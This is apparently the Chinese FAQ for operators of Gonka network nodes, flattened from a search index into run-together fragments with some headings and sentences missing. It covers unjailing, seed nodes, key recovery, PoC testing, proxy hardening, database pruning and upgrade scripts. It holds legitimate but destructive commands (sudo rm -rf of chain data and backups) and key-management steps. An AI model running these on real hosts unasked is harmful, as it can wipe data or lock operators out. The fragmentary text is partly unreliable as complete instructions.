如何解除节点惩罚：问题解决后，使用您的冷密钥提交解除惩罚交易以恢复正常运行。
export NODE_URL=http://<NODE_URL>:<port>\n ./inferenced tx slashing unjail \\\n --from <cold_key_name> \\\n --keyring-backend file \\\n --chain-id gonka-mainnet \\\n --gas auto \\\n --gas-adjustment 1.5 \\\n --fees 200000ngonka \\\n --node $NODE_URL/chain-rpc/\n ./inferenced query staking delegator-validators \\\n <cold_key_addr> \\\n --node $NODE_URL/chain-rpc/\njailed: true。"}, {"location": "gonka/docs/zh/FAQ/#_38", "title": "如何退役旧集群？", "text": "遵循本指南安全关闭旧集群，而不影响声誉。
1) 使用以下命令禁用每个 ML 节点：
curl -X POST http://localhost:9200/admin/v1/nodes/<id>/disable\n您可以使用以下命令列出所有节点ID：
curl http://localhost:9200/admin/v1/nodes | jq '.[].node.id'\n2) 在下一个计算证明（PoC）期间未安排提供推理服务的节点将自动停止。 安排提供推理服务的节点将在停止前再保持一个纪元的活跃状态。您可以在以下位置的mlnode字段中验证节点状态：
curl http://<inference_url>/v1/epochs/current/participants\n一旦节点被标记为禁用，即可安全关闭MLNode服务器。
3) 在所有MLNode被禁用并关闭后，您可以关闭网络节点。在此之前，建议（但非必需）备份以下文件：
.dapi/api-config.yaml.dapi/gonka.db（在链上升级后创建）.inference/config/.inference/keyring-file/.tmkms/如果您跳过备份，仍可使用您的账户密钥稍后恢复设置。
"}, {"location": "gonka/docs/zh/FAQ/#configenv", "title": "我的节点无法连接到config.env 中指定的默认种子节点", "text": "如果您的节点无法连接到默认种子节点，只需通过更新 config.env 中的三个变量将其指向其他节点即可。
SEED_API_URL - 种子节点的HTTP端点（用于API通信）。 从以下列表中选择任意URL，并直接分配给 SEED_API_URL。 export SEED_API_URL=<chosen_http_url>\nhttp://185.216.21.98:8000\nhttp://36.189.234.197:18026\nhttp://36.189.234.237:17241\nhttp://node1.gonka.ai:8000\nhttp://node2.gonka.ai:8000\nhttp://node3.gonka.ai:8000\nhttps://node4.gonka.ai\nhttp://47.236.26.199:8000\nhttp://47.236.19.22:18000\nhttp://gonka.spv.re:8000\nSEED_NODE_RPC_URL - 公共Tendermint RPC访问必须通过种子节点的HTTP(S)代理路径 /<chain-rpc>。 使用与 SEED_API_URL 相同的协议（http或https）、主机和端口，并附加 /chain-rpc。 export SEED_NODE_RPC_URL=http://<host>/chain-rpc\nSEED_NODE_RPC_URL=http://node2.gonka.ai:8000/chain-rpc/ \n重要
http://<host>:26657 用作公共RPC端点。26657 必须仅限内部使用（localhost/私有网络）。公共RPC必须通过 /<chain-rpc>。SEED_NODE_P2P_URL - 用于节点间网络通信的P2P地址。 您必须通过相同的 /<chain-rpc> 代理从种子节点的状态端点获取P2P端口。查询节点：
http://<host>:<http_port>/chain-rpc/status\nhttps://node3.gonka.ai/chain-rpc/status\nlisten_addr，例如： \"\"listen_addr\"\": \"\"tcp://0.0.0.0:5000\"\"\n使用此端口：\n```\nexport SEED_NODE_P2P_URL=tcp://<host>:<p2p_port>\n```\n示例\n```\nexport SEED_NODE_P2P_URL=tcp://node3.gonka.ai:5000\n```\n\n最终结果示例\n```\nexport SEED_API_URL=http://node2.gonka.ai:8000\nexport SEED_NODE_RPC_URL=http://node2.gonka.ai:8000/chain-rpc/\nexport SEED_NODE_P2P_URL=tcp://node2.gonka.ai:5000\n```\n根据节点是否已初始化，有两种不同的方式更新种子节点。
选项1. 手动编辑种子节点（初始化后）一旦文件 .node_initialized 创建，系统将不再自动更新种子节点。 从那时起：
- 种子列表将直接使用\n- 任何更改都必须手动完成\n- 您可以添加任意数量的种子节点\n格式为单个逗号分隔的字符串：
seeds = \"<node1_id>@<node1_ip>:<node1_p2p_port>,<node2_id>@<node2_ip>:<node2_p2p_port>\"\ncurl http://47.236.26.199:8000/chain-rpc/net_info | jq\n在响应中查找：\n\n- `listen_addr` - P2P端点\n- `rpc_addr` - RPC端点\n示例：
```\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n100 94098 0 94098 0 0 91935 0 --:--:-- 0:00:01 --:--:-- 91982\n{\n \"jsonrpc\": \"2.0\",\n \"id\": -1,\n \"result\": {\n \"listening\": true,\n \"listeners\": [\n \"Listener(@tcp://47.236.26.199:5000)\"\n ],\n \"n_peers\": \"50\",\n \"peers\": [\n {\n \"node_info\": {\n \"protocol_version\": {\n \"p2p\": \"8\",\n \"block\": \"11\",\n \"app\": \"0\"\n },\n \"id\": \"ce6f26b9508839c29e0bfd9e3e20e01ff4dda360\",\n \"listen_addr\": \"tcp://85.234.78.106:5000\",\n \"network\": \"gonka-mainnet\",\n \"version\": \"0.38.17\",\n \"channels\": \"40202122233038606100\",\n \"moniker\": \"my-node\",\n \"other\": {\n \"tx_index\": \"on\",\n \"rpc_address\": \"tcp://0.0.0.0:26657\"\n }\n },\n...\n```\n\n此命令显示节点当前看到的所有对等节点。\n如果希望节点重新生成其配置并自动应用环境变量中定义的种子节点，请使用此方法。
source config.env\ndocker compose down node\nsudo rm -rf .inference/data/ .inference/.node_initialized\nsudo mkdir -p .inference/data/\n```\nsudo cat .inference/config/config.toml\n```\n查找字段：\n```\nseeds = [...]\n```\n链上不验证真实硬件。它仅验证总参与权重，且这是用于权重分配和奖励计算的唯一值。
此权重在ML节点间的任何细分，以及任何“硬件类型”或其他描述性字段，均仅为信息性内容，可由主机自由修改。
在创建或更新节点时（例如，通过POST http://localhost:9200/admin/v1/nodes，如https://github.com/gonka-ai/gonka/blob/aa85699ab203f8c7fa83eb1111a2647241c30fc4/decentralized-api/internal/server/admin/node_handlers.go#L62中的处理程序代码所示），可以显式指定硬件字段。如果省略，API服务会尝试从ML节点自动检测硬件信息。
实际上，许多主机在背后运行代理ML节点，多个服务器共用该节点；自动检测仅能看到其中一个服务器，这是一种完全有效的设置。无论配置如何，所有权重分配和奖励均仅依赖于主机的总权重，ML节点间的内部划分或报告的硬件类型永远不会影响链上验证。
"}, {"location": "gonka/docs/zh/FAQ/#qwenqwen3-235b-a22b-instruct-2507-fp8ml", "title": "如何切换到Qwen/Qwen3-235B-A22B-Instruct-2507-FP8、升级ML节点并移除其他模型？", "text": "历史记录 — v0.2.8 / PoC v2迁移
此条目记录了v0.2.8 / PoC v2迁移（第155轮），当时Qwen/Qwen3-235B-A22B-Instruct-2507-FP8是唯一强制执行的模型。仅作历史参考保留。自第308轮起，Qwen3-235B已通过治理（提案78）退役，MiniMaxAI/MiniMax-M2.7为当前基础/活跃PoC模型。 如需当前设置，请参阅主机快速入门和多模型PoC — 主机操作指南。
本指南说明主机应如何根据v0.2.8模型可用性变化及即将到来的PoC v2更新来升级其ML节点。从第155轮开始，ML节点配置需符合PoC v2要求。建议主机在该时间点前审查并准备其ML节点配置。PoC v2迁移可在第155轮后安排。迁移阶段结束后，不符合配置要求的ML节点的权重将不被计入。
1. 背景：模型可用性变更（升级v0.2.8）
作为v0.2.8升级的一部分，活跃模型集已更新。
支持的模型（活跃集）
仅以下模型仍被支持：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-32B-FP8Qwen/Qwen3-32B-FP8在迁移期间被支持，但不贡献于PoC v2就绪性或权重分配。参与PoC v2要求提供Qwen/Qwen3-235B-A22B-Instruct-2507-FP8。
已移除的模型
所有先前支持的模型均已从活跃集中移除，不得再提供服务。
2. PoC v2就绪标准（重要）
成功参与PoC v2过渡需满足以下两项条件：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8。这是唯一对PoC v2权重有贡献的模型。重要
3. 检查ML节点分配状态（推荐的安全步骤）
在更改模型前，您应检查当前的ML节点分配情况。查询您的网络节点管理API：
curl http://127.0.0.1:9200/admin/v1/nodes\n\"timeslot_allocation\": [\n true,\n false\n]\n推荐行为
false的节点上更改模型4. 更新ML节点的模型：仅保留受支持的模型
预下载模型权重（推荐）。为避免启动延迟，请将权重预下载到HF_HOME：
mkdir -p $HF_HOME\nhuggingface-cli download Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\nQwen/Qwen3-235B-A22B-Instruct-2507-FP8）。 例如：
curl -X PUT \"http://localhost:9200/admin/v1/nodes/node1\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 800,\n \"models\": {\n \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"240000\"\n ]\n }\n }\n }'\nNote
node-config.json仅在网络节点API首次启动或本地状态/数据库被删除时使用。如需全新重启，请编辑它。对于现有节点，模型更新应通过管理API执行。
5. 升级ML节点镜像（PoC v2必需）
编辑docker-compose.mlnode.yml并更新ML节点镜像：
标准GPU
image: ghcr.io/product-science/mlnode:3.0.12-post3\nimage: ghcr.io/product-science/mlnode:3.0.12-post3-blackwell\ngonka/deploy/join： source config.env\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml pull\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\n确认ML节点仅提供Qwen/Qwen3-235B-A22B-Instruct-2507-FP8服务，这是PoC v2权重和未来权重分配所使用的唯一模型：
curl http://127.0.0.1:8080/v1/models | jq\ncurl http://127.0.0.1:9200/admin/v1/nodes\n治理与PoC v2激活说明
PoC v2是分阶段引入的，不会一次性激活。
第一阶段：观察（v0.2.8之后的当前状态）
v0.2.8升级后，PoC v2逻辑已可用，但尚未用于权重分配。
在此阶段：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8或Qwen/Qwen3-32B-FP8Qwen/Qwen3-235B-A22B-Instruct-2507-FP8，并升级为PoC v2兼容版本，才能参与PoC v2权重贡献。第二阶段：治理提案（可选，未来） 一旦在活跃主机中观察到足够高的采用率（约50%）：
- 可能会提交独立的治理提案\n- 该提案可能请求批准激活PoC v2并使用PoC v2进行权重分配\n采用阈值仅为观察性，不会触发任何自动更改。
第三阶段：激活（仅在治理批准后）
只有当治理提案获得链上批准时，PoC v2才会成为权重分配的激活方法。
在该提案获得批准之前：
- PoC v2对权重分配保持非激活状态\n- 现有的PoC机制将继续用于确定权重\n总结检查清单
在PoC v2激活前，请确保：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP83.0.12-post3（或 3.0.12-post3-blackwell）对于授予 v0.2.9 升级后创建的新热密钥权限，应使用 CLI 版本 v0.2.9。
"}, {"location": "gonka/docs/zh/FAQ/#_41", "title": "我在哪里可以找到有关密钥管理的信息？", "text": "您可以在文档中找到有关 密钥管理 的专门部分。它概述了在网络中安全管理应用程序密钥的流程和最佳实践。
"}, {"location": "gonka/docs/zh/FAQ/#_42", "title": "我清除了或覆盖了我的共识密钥", "text": "如果您使用的是 tmkms 并删除了 .tmkms 文件夹，只需重新启动 tmkms —— 它将自动生成新密钥。 要注册新的共识密钥，请提交以下交易：
./inferenced tx inference submit-new-participant \\\n <PUBLIC_URL> \\\n --validator-key <CONSENSUS_KEY> \\\n --keyring-backend file \\\n --unordered \\\n --from <COLD_KEY_NAME> \\\n --timeout-duration 1m \\\n --node http://<node-url>/chain-rpc/ \\\n --chain-id gonka-mainnet\n在本地设备上备份冷密钥，远离服务器。
1) 停止API容器：
docker compose down api --no-deps\n2) 在你的config.env文件中为暖密钥设置KEY_NAME。
3) [SERVER]：重新创建暖密钥：
source config.env && docker compose run --rm --no-deps -it api /bin/sh\n4) 然后在容器内执行：
printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | \\\ninferenced keys add \"$KEY_NAME\" --keyring-backend file\n5) [LOCAL]：从你的本地设备（你已备份冷密钥的地方）运行交易：
./inferenced tx inference grant-ml-ops-permissions \\\n gonka-account-key \\\n <address-of-warm-key-you-just-created> \\\n --from gonka-account-key \\\n --keyring-backend file \\\n --gas 2000000 \\\n --node http://<node-url>/chain-rpc/\n6) 启动API容器：
source config.env && docker compose up -d\n计算证明（PoC）是一种共识机制，它用可验证的基于Transformer的计算能力替代基于资本或哈希的权重。它定义了如何衡量和将真实的AI计算转换为治理与共识权重。PoC通过每个纪元末期进行的短时同步冲刺（Sprint）执行。在冲刺之外，纪元用于现实世界的AI计算。实际上，术语“计算证明（PoC）”和“冲刺”经常互换使用。当提及“下一个PoC”或“PoC阶段”时，通常指的是下一个冲刺，即计算证明的执行阶段。
"}, {"location": "gonka/docs/zh/FAQ/#_45", "title": "什么是冲刺？", "text": "冲刺是计算证明的一个阶段。在冲刺期间，所有主机同时在具有随机化层的Transformer上对一连串随机数运行AI相关的推理，生成输出向量。只要报告的输出能被验证为由所需的冲刺模型生成，主机在下一个纪元中的投票权与其处理的随机数数量成正比。
"}, {"location": "gonka/docs/zh/FAQ/#poc_1", "title": "如何模拟计算证明（PoC）？", "text": "你可能希望在自己的ML节点上模拟PoC，以确保PoC阶段在链上启动时一切正常。
要运行此测试，你需要有一个未注册到API节点的正在运行的ML节点，或者暂停API节点。要暂停API节点，请使用docker pause api。测试完成后，你可以取消暂停：docker unpause api。
测试本身需要向ML节点发送POST /v1/pow/init/generate请求，与API节点在PoC阶段开始时发送的请求相同： https://github.com/gonka-ai/gonka/blob/312044d28c7170d7f08bf88e41427396f3b95817/mlnode/packages/pow/src/pow/service/routes.py#L32
PoC使用的模型参数如下：https://github.com/gonka-ai/gonka/blob/312044d28c7170d7f08bf88e41427396f3b95817/mlnode/packages/pow/src/pow/models/utils.py#L41
如果你的节点处于INFERENCE状态，则首先需要将节点转换为停止状态：
curl -X POST \"http://<ml-node-host>:<port>/api/v1/stop\" \\\n -H \"Content-Type: application/json\"\n现在你可以发送请求以启动PoC：
curl -X POST \"http://<ml-node-host>:<port>/api/v1/pow/init/generate\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"node_id\": 0,\n \"node_count\": 1,\n \"block_hash\": \"EXAMPLE_BLOCK_HASH\",\n \"block_height\": 1,\n \"public_key\": \"EXAMPLE_PUBLIC_KEY\",\n \"batch_size\": 1,\n \"r_target\": 10.0,\n \"fraud_threshold\": 0.01,\n \"params\": {\n \"dim\": 1792,\n \"n_layers\": 64,\n \"n_heads\": 64,\n \"n_kv_heads\": 64,\n \"vocab_size\": 8196,\n \"ffn_dim_multiplier\": 10.0,\n \"multiple_of\": 8192,\n \"norm_eps\": 1e-5,\n \"rope_theta\": 10000.0,\n \"use_scaled_rope\": false,\n \"seq_len\": 256\n },\n \"url\": \"http://api:9100\"\n }'\n8080端口或直接向ML节点的8080发送此请求https://github.com/gonka-ai/gonka/blob/312044d28c7170d7f08bf88e41427396f3b95817/deploy/join/docker-compose.mlnode.yml#L26 如果测试成功运行，你将看到类似以下的日志：
2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Created 4 GPU groups:\n2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Group 0: GpuGroup(devices=[0], primary=0) (VRAM: 79.2GB)\n2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Group 1: GpuGroup(devices=[1], primary=1) (VRAM: 79.2GB)\n2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Group 2: GpuGroup(devices=[2], primary=2) (VRAM: 79.2GB)\n2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Group 3: GpuGroup(devices=[3], primary=3) (VRAM: 79.2GB)\n2025-08-25 20:53:33,758 - pow.compute.controller - INFO - Using batch size: 247 for GPU group [0]\n2025-08-25 20:53:33,944 - pow.compute.controller - INFO - Using batch size: 247 for GPU group [1]\n2025-08-25 20:53:34,151 - pow.compute.controller - INFO - Using batch size: 247 for GPU group [2]\n2025-08-25 20:53:34,353 - pow.compute.controller - INFO - Using batch size: 247 for GPU group [3]\nDAPI_API__POC_CALLBACK_URL。 2025-08-25 20:54:58,822 - pow.service.sender - INFO - Sending generated batch to http://api:9100/\n0%的确认比率是一种异常情况，表明在纪元期间没有从你的API节点发送任何随机数，意味着该节点完全未参与确认计算证明（CPoC）。要调查原因，请检查API节点日志和ML节点日志，它们应能说明为何未提交随机数。
可能的原因包括：
为降低此风险，请确保管理端口和管理端口不公开可访问，验证API节点是否正常运行且配置正确，监控共识节点同步情况，并为ML节点和驱动程序故障设置告警。
"}, {"location": "gonka/docs/zh/FAQ/#_46", "title": "性能与故障排除", "text": ""}, {"location": "gonka/docs/zh/FAQ/#v028ddos", "title": "如何使用代理预发布版（v0.2.8）保护我的节点免受DDoS攻击？", "text": "现已推出新版本代理，具备速率限制和DDoS防护措施。
新增功能：
training和poc-batches/chain-api、/chain-rpc和/chain-grpc端点更新说明步骤 1：更新代理镜像
sed -i -E 's|(image:[[:space:]]*ghcr.io/product-science/proxy)(:.*)?$|\\1:0.2.8-pre-release-proxy@sha256:6ccb8ac8885e03aab786298858cc763a99f99543b076f2a334b3c67d60fb295f |' docker-compose.yml\n重要
步骤 2 将禁用此节点上的 /chain-api、/chain-rpc 和 /chain-grpc 端点。应用后，此节点将不再提供公共 RPC 流量。如果您运行公共 RPC 端点，则必须运行独立的仅 RPC 节点（无此限制），并保持此节点私有。
步骤 2（可选）：禁用 chain-api、chain-rpc 和 chain-grpc
如果您想完全禁用 /chain-api、/chain-rpc 和 /chain-grpc 端点：
sed -i 's|DASHBOARD_PORT=5173|DASHBOARD_PORT=5173\\n - DISABLE_CHAIN_API=${DISABLE_CHAIN_API:-true}\\n - DISABLE_CHAIN_RPC=${DISABLE_CHAIN_RPC:-true}\\n - DISABLE_CHAIN_GRPC=${DISABLE_CHAIN_GRPC:-true}\\n|' docker-compose.yml\nsed -i -E -e '/GONKA_API_(EXEMPT|BLOCKED)_ROUTES/d' -e 's|(- GONKA_API_PORT=9000)|\\1\\n - GONKA_API_EXEMPT_ROUTES=chat inference\\n - GONKA_API_BLOCKED_ROUTES=poc-batches training|' docker-compose.yml\nproxy:\n container_name: proxy\n image: ghcr.io/product-science/proxy:0.2.8-pre-release-proxy@sha256:6ccb8ac8885e03aab786298858cc763a99f99543b076f2a334b3c67d60fb295f\n ports:\n - \"${API_PORT:-8000}:80\"\n - \"${API_SSL_PORT:-8443}:443\"\n environment:\n - NGINX_MODE=${NGINX_MODE:-http}\n - SERVER_NAME=${SERVER_NAME:-}\n - GONKA_API_PORT=9000\n - GONKA_API_EXEMPT_ROUTES=chat inference\n - GONKA_API_BLOCKED_ROUTES=poc-batches training\n - CHAIN_RPC_PORT=26657\n - CHAIN_API_PORT=1317\n - CHAIN_GRPC_PORT=9090\n - DASHBOARD_PORT=5173\n - DISABLE_CHAIN_API=${DISABLE_CHAIN_API:-true}\n - DISABLE_CHAIN_RPC=${DISABLE_CHAIN_RPC:-true}\n - DISABLE_CHAIN_GRPC=${DISABLE_CHAIN_GRPC:-true}\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull proxy\nsource ./config.env && docker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d --no-deps proxy\n您可以关闭端口 26657 作为外部端口。
这是可选的，但强烈建议：
sed -i 's|- \"26657:26657\"|#- \"26657:26657\"|g' docker-compose.yml\nnode:\n container_name: node\n ...\n ports:\n - \"5000:26656\" #p2p\n #- \"26657:26657\" #rpc\nsource ./config.env && docker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d --no-deps node\n如果您之前通过 curl -s http://localhost:26657/status 访问节点状态，现在可以从容器内部访问：
curl）选项 2：从节点容器访问（使用 wget） docker exec proxy curl -s node:26657/status | jq\ndocker exec node wget -qO- http://localhost:26657/status | jq\n为了使用 watch 进行持续监控：
watch -n 5 'docker exec node wget -qO- http://localhost:26657/status | jq -r \".result.sync_info | \\\"Block: \\(.latest_block_height) | Time: \\(.latest_block_time) | Syncing: \\(.catching_up)\\\"\"'\n.inference 目录中的旧备份？", "text": "Cosmovisor 在每次更新时都会在 .inference 状态文件夹中创建完整备份。例如，您可以看到类似 data-backup-<some_date> 的文件夹。 截至 2025 年 11 月 20 日，数据目录大小约为 150 GB，因此每个备份将占用大约相同的空间。 为安全运行更新，建议拥有 250 GB 以上的可用磁盘空间。 您可以删除旧备份以释放空间，但在某些情况下这可能仍不足，您可能需要扩展服务器磁盘。 要删除旧备份目录，可以使用：
sudo su\ncd .inference\nls -la # view the list of folders. There will be folders like data-backup... DO NOT DELETE ANYTHING EXCEPT THESE\nrm -rf <data-backup...>\nNATS 当前配置为无限期存储所有消息，导致内存使用量持续增长。 推荐的解决方案是为 NATS 流中的消息配置 24 小时的生存时间（TTL）。
go install github.com/nats-io/natscli/nats@latest\nnats stream info txs_to_send --server localhost:<your_nats_server_port>\nnats stream info txs_to_observe --server localhost:<your_nats_server_port>\ninference_url？", "text": "您可能需要更新您的 inference_url，如果：
此操作不需要重新注册、重新部署或密钥再生。更新您的 inference_url 是通过与初始注册相同的交易（submit-new-participant msg）完成的。
链逻辑会检查您的主机（参与者）是否已存在：
InferenceURL、ValidatorKey、WorkerKey。所有其他字段将自动保留。
这意味着更新 inference_url 是一个安全且非破坏性的操作。
Note
当节点更新其执行 URL 时，新 URL 会立即对来自其他节点的推理请求生效。但 ActiveParticipants 中记录的 URL 直到下一个纪元才会更新，因为过早修改会破坏与参与者集相关的密码学证明。为避免服务中断，建议在下一个纪元完成前同时保留旧 URL 和新 URL。
[本地] 使用您的冷密钥在本地执行更新：
./inferenced tx inference submit-new-participant \\\n <PUBLIC_URL> \\\n --validator-key <CONSENSUS_KEY> \\\n --keyring-backend file \\\n --unordered \\\n --from <COLD_KEY_NAME> \\\n --timeout-duration 1m \\\n --node http://<node-url>/chain-rpc/ \\\n --chain-id gonka-mainnet\n通过以下链接验证更新，并将结尾替换为您的节点地址 http://node2.gonka.ai:8000/chain-api/productscience/inference/inference/participant/gonka1qqqc2vc7fn9jyrtal25l3yn6hkk74fq2c54qve
"}, {"location": "gonka/docs/zh/FAQ/#applicationdb", "title": "为什么我的application.db 会变得如此庞大，该如何解决？", "text": "某些节点存在 application.db 大小持续增长的问题。
.inference/data/application.db 存储链的状态历史（非区块），默认为 362880 个状态。
状态历史包含每个状态的完整默克尔树，将其保留更短的时间是安全的，例如仅保留 1000 个区块。
修剪参数可以在 .inference/config/app.toml 中设置：
...\npruning = \"custom\"\npruning-keep-recent = \"1000\"\npruning-interval = \"100\"\n新配置将在 node 容器重启后生效。但存在问题——即使启用了修剪，数据库清理仍然非常缓慢。
重置 application.db 有多种方法：
1) 停止节点
docker stop node\n2) 删除数据 \n ```\n sudo rm -rf .inference/data/ .inference/.node_initialized\n sudo mkdir -p .inference/data/\n ```\n\n3) 启动节点\n ```\n docker start node\n ```\n\n此方法可能需要一些时间，在此期间节点无法记录交易。\n请使用可用的可信节点下载快照。
选项 2：从本地快照重新同步快照默认启用并存储在 .inference/data/snapshots 中
1) 准备新的 application.db（node 容器仍在运行）
1.1) 为 inferenced 准备临时主目录
mkdir -p .inference/temp\ncp -r .inference/config .inference/temp/config\nmkdir -p .inference/temp/data/\n1.2) 复制快照： \n ```\n cp -r .inference/data/snapshots .inference/temp/data/\n ```\n\n1.3) 列出快照 \n ```\n inferenced snapshots list --home .inference/temp\n ```\n\n复制最新快照的高度。\n1.4) 从快照开始恢复（node 容器仍在运行）
inferenced snapshots restore <INSERT_HEIGHT> 3 --home .inference/temp\n这可能需要一些时间。完成后，您将在 `.inference/temp/data/application.db` 中获得新的 `application.db`\n2) 用新容器替换 application.db
2.1) 停止 node 容器（从另一个终端窗口）
docker stop node\n2.2) 移动原始 `application.db` \n ```\n mv .inference/data/application.db .inference/temp/application.db-backup\n mv .inference/wasm .inference/wasm.db-backup\n ```\n\n2.3) 用新容器替换它 \n ```\n cp -r .inference/temp/data/application.db .inference/data/application.db\n cp -r .inference/temp/wasm .inference/wasm\n ```\n\n2.4) 启动 `node` 容器（从另一个终端窗口）： \n ```\n docker start node\n ```\n\n3) 等待 `node` 容器同步完成并删除 `.inference/temp/`\n如果您有多个节点，建议逐个清理。
选项 3：实验性另一种可选方法是在单独的 CPU 机器上启动一个独立的 node 容器实例，并设置为严格验证者模式：
- 保留极短的历史记录\n- 仅允许 RPC 和 API 访问 `api` 容器\n一旦运行，将现有 tmkms 卷移动到新节点（先禁用现有节点的区块签名）。
这是该方法的大致思路。如果您决定尝试并有任何问题，请随时在 Discord 上联系。
选项 4：升级到修剪修复现在已提供修复程序，以解决长期存在的问题：在许多修剪配置下 application.db 持续增长。 此改进由 Lelouch33 贡献，并包含在发布版本 0.2.10-post6 中。通过更新的逻辑和以下设置，application.db 可保持在约 100 GB：
- `SNAPSHOT_INTERVAL=1000`\n- `SNAPSHOT_KEEP_RECENT=2`\n- `pruning-keep-recent = \"20000\"`\n- `pruning-interval = \"512\"`\n参考：
- [https://github.com/gonka-ai/gonka/issues/819#issuecomment-3996332369](https://github.com/gonka-ai/gonka/issues/819#issuecomment-3996332369)\n- [https://github.com/gonka-ai/gonka/pull/867](https://github.com/gonka-ai/gonka/pull/867)\n升级到此二进制文件后，修剪将在下一个快照块后开始。此过程较为繁重，可能在移除旧状态历史时暂时减慢 node 容器的速度。
为减少操作影响，建议逐个更新节点，并使用更高的 pruning-interval（例如 512），以避免过于频繁地修剪。
如果节点在修剪期间显著变慢，重启节点容器可能有助于其追赶进度。
建议在即将到来的 v0.2.11 升级前应用此更新，以防止大量节点同时开始修剪。
应用更新（示例来自 v0.2.7，其 inferenced 相同）：
# Pre-check: Ensure no confirmation PoC is active (fails entire script if not false)\necho \"--- Pre-flight Check: Confirmation PoC Status ---\" && \\\nCONFIRMATION_POC_ACTIVE=$(curl -sf \"https://node3.gonka.ai/v1/epochs/latest\" | jq -r '.is_confirmation_poc_active') && \\\n[ \"$CONFIRMATION_POC_ACTIVE\" = \"false\" ] && \\\necho \"OK: No confirmation PoC active\" && \\\n\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.10-post7/ .inference/data/upgrade-info.json && \\\nsudo mkdir -p .inference/cosmovisor/upgrades/v0.2.10-post7/bin/ && \\\nwget -q -O inferenced.zip 'https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.10-post7/inferenced-amd64.zip' && \\\necho \"5ed8941d50779fa2359a9745263b324b887465104f81073827321945ab1f392a inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.10-post7/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.10-post7/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .inference/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.10-post7 .inference/cosmovisor/current && \\\necho \"d9093b225cbd531afc56c99d0b0996b1fa2896c0745cd73293f0de08132f7754 .inference/cosmovisor/current/bin/inferenced\" | sudo sha256sum --check && \\\n\n# Restart \nsource config.env && docker compose up node --no-deps --force-recreate -d\nClaimReward 未成功，我该怎么办？", "text": "如果您有未领取的奖励，请执行：
curl -X POST http://localhost:9200/admin/v1/claim-reward/recover \\\n -H \"Content-Type: application/json\" \\\n -d '{\"force_claim\": true, \"epoch_index\": 106}'\ncurl http://node2.gonka.ai:8000/chain-api/productscience/inference/inference/epoch_performance_summary/106/<ACCOUNT_ADDRESS> | jq\n为帮助在主网升级期间保持以太坊桥接的稳定性，请提前将桥接镜像更新为 0.2.14-post3。 如果您有多个网络节点，请逐个更新。 请确保在 PoC 或 cPoC 之外执行此步骤。
从 deploy/join（其中包含 docker-compose.yml 和 .dapi/）运行所有命令。
将桥接镜像更新为 0.2.14-post3
bridge:\n container_name: bridge\n image: ghcr.io/product-science/bridge:0.2.14-post3\n重启桥接容器
source config.env && docker compose up --force-recreate bridge\n重要
此清理过程必须在升级前完成。如果在清理模型前升级，您的节点将被拒绝并离线。
版本 0.2.12 将移除所有不在升级后批准列表中的治理模型。在主网上，仅保留之前强制执行的模型和 Kimi。
每个 DAPI 都会在本地持久化其 MLNode 配置。启动时，它会将每个配置的模型与链上治理列表进行验证。如果配置包含至少一个不受支持的模型，整个节点将被拒绝，主机将离线。
版本 0.2.11 通过将运行时视图裁剪为强制模型来掩盖了此问题，因此 /admin/v1/nodes 看起来是干净的，即使持久化配置中仍包含额外模型。版本 0.2.12 停止了这种裁剪，意味着直接加载持久化配置。
为解决此问题，以下脚本将查找 /admin/v1/config 中包含额外模型的每个节点，并向 /admin/v1/nodes/<id> 发送一个带有清理后配置的 PUT 请求。这些更改将在 60 秒内持久化。剩余模型的参数、硬件和端口将完全保留。未列出强制模型的节点将被跳过，需要手动修复。
将以下脚本粘贴到主机的 shell 中。默认情况下，它将应用更改。若要预览更改但不应用，请将 APPLY=dry 设置为任意非 --apply 的值。
仓库中的脚本：
ADMIN=${ADMIN:-http://127.0.0.1:9200}\nKEEP=${KEEP:-Qwen/Qwen3-235B-A22B-Instruct-2507-FP8}\nAPPLY=${APPLY:-\"--apply\"}\n\ncurl -sS \"$ADMIN/admin/v1/config\" | jq -r --arg k \"$KEEP\" '\n .nodes[] | \"\\(.id): \" + (\n if (.models | has($k) | not) then \"skip (\\(.models | keys))\"\n elif (.models | length) == 1 then \"ok\"\n else \"\\(.models | keys) -> [\\($k)]\" end)'\n\nif [[ \"$APPLY\" == \"--apply\" ]]; then\n curl -sS \"$ADMIN/admin/v1/config\" \\\n | jq -c --arg k \"$KEEP\" \\\n '.nodes[] | select((.models | has($k)) and (.models | length > 1)) | .models = {($k): .models[$k]}' \\\n | while IFS= read -r p; do\n id=$(jq -r .id <<<\"$p\")\n curl -sS -f -X PUT -H 'Content-Type: application/json' -d \"$p\" \\\n \"$ADMIN/admin/v1/nodes/$id\" >/dev/null && echo \"$id: updated\"\n done\n echo \"done; persisted within 60s\"\nelse\n echo \"preview only; rerun without APPLY=dry to commit\"\nfi\n运行脚本后等待 60 